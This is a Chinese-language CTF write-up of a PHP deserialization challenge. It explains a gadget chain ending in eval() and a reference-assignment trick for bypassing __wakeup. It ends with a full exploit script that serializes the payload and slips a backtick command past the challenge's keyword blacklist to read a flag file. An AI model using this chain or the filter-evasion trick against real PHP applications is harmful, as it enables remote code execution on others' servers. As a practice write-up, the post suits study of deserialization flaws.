记录一个反序列化中利用代码逻辑绕过__wakeup()函数的方法
2023-11-30 00:00:00
# CTF
记录一个反序列化中利用代码逻辑绕过__wakeup()函数的方法
题目代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 <?php error_reporting (0 ); class mouse { public $rice ; function __isset ($n ) { $this ->rice->nothing (); } } class dog { public $a ; public $b ; public $c ; function __wakeup ( ) { $this ->a = 'chance?' ; } function __destruct ( ) { $this ->b = $this ->c; die ($this ->a); } } class ct { public $fish ; function __toString ( ) { if (isset ($this ->fish->d)) { echo 'you wrong' ; } } } class get { public $cmd ; function __call ($name ,$no ) { eval ($this ->cmd); } } $pop = $_GET ['pop' ];if (!preg_match ('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|base|echo|cp|\$|\*|\+|\^|scan|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i' ,$pop )){ echo "you will get flag" .'</br>' ; unserialize ($pop ); } else { die ("Try again!" ); }
分析 梳理一下类,还是比较简单的,目标就是执行get类的call函数里的eval执行命令,通过mouse的isset触发call,通过ct的toString触发isset,通过dog的destruct触发toString。 这里需要把a实例化为ct的对象,用die触发toString,但是wakeup会给a赋值成为字符串,就需要绕过这个wakeup函数。 做这个题的时候环境是没有给出PHP版本,所以试过修改成员变量数、C绕过都没有成功,然后细看了一下abc三个变量,可以利用代码逻辑去绕过,这里先给出利用方法。
1 2 $re =new dog (); $re ->c=new ct ();
我们实例化一个dog对象,此时a为chance?,b为空,c为ct的对象
这里我们把a的地址给到了b,那么后续对b的修改就等于对a进行了修改
这一步就是把c的值赋给了b,也就是对a进行了修改,这一步之后a的值就成为了一个对象,然后die函数会触发toString执行下去。 其实一句话总结就是,在new一个对象的时候,代码中在new之后又对目标变量进行修改的时候,我们可以利用一个可控的变量1去指向目标变量,然后用另一个可控变量2改变可控变量1的值,间接改变目标变量
1 2 3 $re =new dog ();$re ->c=new ct ();$re ->b=&$re ->a;
所以这三步下来代码已经可以到toString这里了 后续就是一个命令执行的绕过了,看了一下正则,没有过滤反引号 `,然后需要一个打印返回值的函数,就用print_r()就行。 最后给出payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 <?php class mouse { public $rice ; function __isset ($n ) { $this ->rice->nothing (); } } class dog { public $a ; public $b ; public $c ; function __wakeup ( ) { $this ->a = 'chance?' ; } function __destruct ( ) { $this ->b = $this ->c; die ($this ->a); } } class ct { public $fish ; function __toString ( ) { if (isset ($this ->fish->d)) { echo 'you wrong' ; } } } class get { public $cmd ; function __call ($name , $no ) { eval ($this ->cmd); } } $re =new dog ();$re ->c=new ct ();$re ->b=&$re ->a;$re ->c->fish=new mouse ();$re ->c->fish->rice=new get ();$re ->c->fish->rice->cmd='print_r(`ta\c /realflag/you_want_flag.php`);' ;echo serialize ($re );
2023-11-30 00:00:00
# CTF